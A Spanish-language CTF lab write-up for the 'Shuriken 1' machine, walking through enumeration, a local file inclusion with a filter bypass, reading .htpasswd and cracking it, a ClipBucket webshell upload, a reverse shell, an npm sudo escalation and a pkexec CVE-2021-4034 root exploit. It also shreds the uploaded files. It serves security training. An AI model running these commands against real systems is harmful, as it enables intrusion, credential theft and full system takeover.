**Informe Profesional de la Máquina CTF - Shuriken 1**

**Introducción:**

El presente informe detalla el análisis y la explotación de la máquina CTF "Shuriken 1" con el objetivo de obtener acceso no autorizado y elevar los privilegios. La máquina "Shuriken 1" se plantea como un desafío de seguridad diseñado para evaluar y poner a prueba las habilidades en el ámbito de la ciberseguridad.

El informe se divide en diferentes secciones, cada una enfocada en una etapa específica del proceso de penetración y explotación. Se documentan los resultados obtenidos, las herramientas utilizadas y los pasos seguidos para lograr los objetivos planteados.

Es importante destacar que todas las actividades realizadas en el marco de este informe se llevaron a cabo en un entorno controlado y con el propósito de aprendizaje y adquisición de conocimientos en el campo de la seguridad informática. Se respetaron los principios éticos y legales en todo momento.

El informe está destinado a servir como material educativo y de consulta para profesionales y entusiastas de la ciberseguridad, brindando un ejemplo práctico de las técnicas y metodologías utilizadas en el análisis y explotación de vulnerabilidades.

A continuación, se detallarán los pasos seguidos en cada fase del proceso, incluyendo los resultados obtenidos, las herramientas utilizadas y las conclusiones relevantes. Este informe proporcionará una visión general del enfoque utilizado y los resultados alcanzados durante la realización del CTF "Shuriken 1".

1. **Resultados de Nmap:**

* Puerto 80/tcp: Abierto, servicio HTTP (Apache httpd 2.4.29 en Ubuntu).
* Puerto 8080/tcp: Filtrado, posiblemente un servidor proxy HTTP.

***Comandos:***

* ***nmap -sS -sV <IP>***

1. **Resultados de Gobuster:**

* /css: Redirección a http://192.168.20.56/css/.
* /img: Redirección a http://192.168.20.56/img/.
* /index.php: Código de respuesta 200, tamaño 6021.
* /js: Redirección a http://192.168.20.56/js/.
* /secret: Redirección a http://192.168.20.56/secret/.

***Comandos:***

* ***gobuster dir -u <ip> -w /usr/share/wordlists/dirb/common.txt***

1. **Análisis de Directorios:**

En el directorio /js se encontraron dos archivos JavaScript que se analizaron utilizando https://beautifier.io/. Se identificó un dominio importante: <http://broadcast.shuriken.local>. El cual se tuvo que configurar el dominio en el archivo /etc/hosts. El segundo archivo hacía referencia a la dirección http://shuriken.local/index.php?referer=, donde se podían ingresar comandos.

Se realizaron pruebas para obtener información sensible, utilizando los siguientes comandos curl:

**Para acceder al archivo /etc/passwd:**

curl -s -X GET "http://shuriken.local/index.php?referer=/etc/passwd"

**Para obtener el código PHP del archivo index.php utilizando Base64:**

curl -s -X GET "http://shuriken.local/index.php?referer=php://filter/convert.base64-encode/resource=index.php"

Se copia el código y con un echo “código ” | base64 -d

Se obtuvo un fragmento de código interesante que mostraba una sanitización del parámetro 'referer'. Sin embargo, se pudo eludir la sanitización utilizando '....//' en lugar de '../'.

**Se realizó una búsqueda de usuarios en el sistema utilizando el siguiente comando:**

curl -s -X GET "http://shuriken.local/index.php?referer=....//....//....//....//....//....//etc/passwd" | grep "bash"

**Usuarios encontrados:**

root:x:0:0:root:/root:/bin/bash

server-management:x:1000:1000:server-management,,,:/home/server-management:/bin/bash

1. **Enumeración en la Máquina Víctima:**

Se encontraron las siguientes entradas en el archivo hosts (/etc/hosts) de la máquina víctima:

127.0.0.1 shuriken.local

127.0.0.1 broadcast.shuriken.local

Se realizó una comprobación del dominio shuriken.local utilizando Gobuster, pero no se consideró necesario en este caso.

1. **Enumeración en el Directorio Apache:**

Se identificó que la máquina tenía un servidor Apache. Se verificó la posible ruta del archivo de configuración de Apache y se encontró el archivo /etc/apache2/sites-enabled/000-default.conf.

**Se realizó una solicitud utilizando curl para obtener información relevante del archivo 000-default.conf:**

curl -s -X GET "http://shuriken.local/index.php?referer=/etc/apache2/sites-enabled/000-default.conf"

**Se obtuvo la siguiente sección relevante:**

<VirtualHost \*:80>

ServerAdmin webmaster@localhost

ServerName broadcast.shuriken.local

DocumentRoot /var/www/html

ErrorLog ${APACHE\_LOG\_DIR}/error.log

CustomLog ${APACHE\_LOG\_DIR}/access.log combined

<Directory /var/www/html>

Order allow,deny

allow from all

AuthType Basic

AuthName "Restricted Content"

AuthUserFile /etc/apache2/.htpasswd

Require valid-user

</Directory>

</VirtualHost>

Se encontró una configuración de autenticación básica en el directorio /var/www/html, utilizando un archivo .htpasswd ubicado en /etc/apache2/.htpasswd.

**Se realizó una solicitud curl para obtener la información del archivo .htpasswd:**

curl -s -X GET "http://shuriken.local/index.php?referer=/etc/apache2/.htpasswd"

Se obtuvo la siguiente contraseña:

developers:$apr1$ntOz2ERF$Sd6FT8YVTValWjL7bJv0P0

1. **Cracking de Password:**

Se utilizó la herramienta John the Ripper para crackear la contraseña obtenida del archivo .htpasswd. El resultado fue la siguiente contraseña:

9972761drmfsls (developers)

Se confirmó que la contraseña pertenecía al usuario "developers".

***Comandos:***

* ***john creds.txt -w --wordlist=/usr/share/wordlists/rockyou.txt***

1. **Explotación y Acceso a la Máquina:**

Se buscó un exploit en la base de datos de searchsploit para el software ClipBucket. Se encontró un exploit con el identificador "php/webapps/44250.txt" que permitía la inyección de comandos, carga de archivos y la inyección SQL.

Se utilizó la prueba de concepto proporcionada en el exploit para subir una webshell al directorio /usr/share/webshell/php/ utilizando el comando curl.

**Se ejecutó el siguiente comando para subir la webshell:**

curl -F "file=@shell.php" -F "plupload=1" -F "name=shell.php" "http://developers:9972761drmfsls@broadcast.shuriken.local/actions/photo\_uploader.php"

Como resultado se obtuvo la siguiente respuesta:

{"success":"yes","file\_name":"16880083196994f7","extension":"php","file\_directory":"2023\/06\/29"}

1. **Análisis de Directorios con Gobuster a Broadcast:**

Se realizó un análisis de directorios utilizando la herramienta Gobuster en la URL http://broadcast.shuriken.local. Los resultados obtenidos fueron los siguientes:

* /images (Status: 301) [Size: 337] [--> http://broadcast.shuriken.local/images/]
* /files (Status: 301) [Size: 336] [--> http://broadcast.shuriken.local/files/]
* /plugins (Status: 301) [Size: 338] [--> http://broadcast.shuriken.local/plugins/]
* /ajax (Status: 301) [Size: 335] [--> http://broadcast.shuriken.local/ajax/]
* /includes (Status: 301) [Size: 339] [--> http://broadcast.shuriken.local/includes/]
* /js (Status: 301) [Size: 333] [--> http://broadcast.shuriken.local/js/]
* /api (Status: 301) [Size: 334] [--> http://broadcast.shuriken.local/api/]
* /cache (Status: 301) [Size: 336] [--> http://broadcast.shuriken.local/cache/]
* /player (Status: 301) [Size: 337] [--> http://broadcast.shuriken.local/player/]
* /styles (Status: 301) [Size: 337] [--> http://broadcast.shuriken.local/styles/]
* /readme (Status: 200) [Size: 2968]
* /actions (Status: 301) [Size: 338] [--> http://broadcast.shuriken.local/actions/]
* /LICENSE (Status: 200) [Size: 2588]
* /server-status (Status: 403) [Size: 289]

Se identificaron diferentes directorios en el servidor, entre ellos /files, que fue utilizado para subir la webshell.

***Comandos:***

* ***gobuster dir -u http://developers:9972761drmfsls@broadcast.shuriken.local --wordlist=/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt***

Una vez que obtuvimos el directorio /files encontramos los archivos que subíamos con curl y asi se logró tener acceso a la máquina a través de la página web, pero en nuestra terminal teníamos que tener configurado el nc -lvp 443

1. **Tratamiento de la Shell:**

Se realizó el tratamiento de la shell obtenida utilizando los siguientes comandos:

python3 -c 'import pty; pty.spawn("/bin/bash")'

control z

stty raw -echo; fg

reset

control z

export TERM=xterm

export SHELL=bash

stty rows 28 columns 148

1. **Eliminación Segura de los Archivos Subidos:**

Se ubicó la carpeta donde se encontraban los archivos subidos y se utilizó el comando shred para eliminarlos de forma segura:

shred -zun 10 -v \*

1. **Elevación de Privilegios:**

Se ejecutó el comando "sudo -l" para verificar los privilegios del usuario actual. El resultado fue:

(server-management) NOPASSWD: /usr/bin/npm

Se utilizó la base de datos GTFOBins para encontrar una forma de utilizar el comando npm para elevar los privilegios. Se ejecutaron los siguientes comandos:

TF=$(mktemp -d)

echo '{"scripts": {"preinstall": "/bin/sh"}}' > $TF/package.json

sudo npm -C $TF --unsafe-perm i

Luego, se verificó la variable $TF con el comando "echo $TF" y se dieron permisos al directorio temporal creado:

chmod 777 -R /tmp/tmp.SBOaS3AH9p

Finalmente, se ejecutó el siguiente comando para elevar los privilegios al usuario "server-management":

sudo -u server-management npm -C $TF --unsafe-perm i

1. **Elevación a Privilegios Root:**

Se realizó una búsqueda de archivos con el bit setuid utilizando el comando:

find / -perm -u=s -type f 2>/dev/null -ls

Se encontró el archivo "/usr/bin/pkexec" con los permisos setuid para el usuario root.

Se descargó el exploit "CVE-2021-4034.py" y se transfirió a la máquina víctima utilizando python y curl.

**Se ejecutó el exploit con los siguientes pasos:**

* Se movió el archivo a /tmp.
* Se dieron permisos de ejecución al archivo.
* Se ejecutó el archivo con el comando "python3".

**Conclusiones:**

Durante el proceso de análisis y explotación de la máquina CTF "Shuriken 1", se lograron obtener resultados significativos y superar los desafíos planteados. A continuación, se presentan las conclusiones más relevantes:

* **Enumeración y Escaneo:** Mediante el uso de herramientas como Nmap y Gobuster, se pudo obtener información detallada sobre los servicios y directorios disponibles en la máquina objetivo. Esta fase resultó fundamental para identificar puntos de entrada potenciales y recopilar información relevante para las etapas siguientes.
* **Explotación de Vulnerabilidades:** A través del análisis de los resultados obtenidos en las fases previas, se identificaron vulnerabilidades en los servicios y aplicaciones presentes en la máquina. Esto permitió aprovechar estas debilidades para obtener acceso no autorizado y realizar acciones no permitidas, como la obtención de archivos y el acceso a información sensible.
* **Elevación de Privilegios:** Una vez obtenido el acceso inicial, se procedió a buscar oportunidades para elevar los privilegios y obtener un mayor nivel de control sobre la máquina. Mediante el análisis de permisos y configuraciones, se logró encontrar métodos efectivos para acceder a cuentas de mayor privilegio y obtener el control total del sistema.
* **Explotación Responsable:** Es importante destacar que todas las actividades realizadas se llevaron a cabo en un entorno controlado y con fines educativos. Se respetaron los principios éticos y legales en todo momento, evitando daños a sistemas reales y respetando la privacidad de la información. El objetivo principal fue adquirir conocimientos y habilidades en el campo de la ciberseguridad.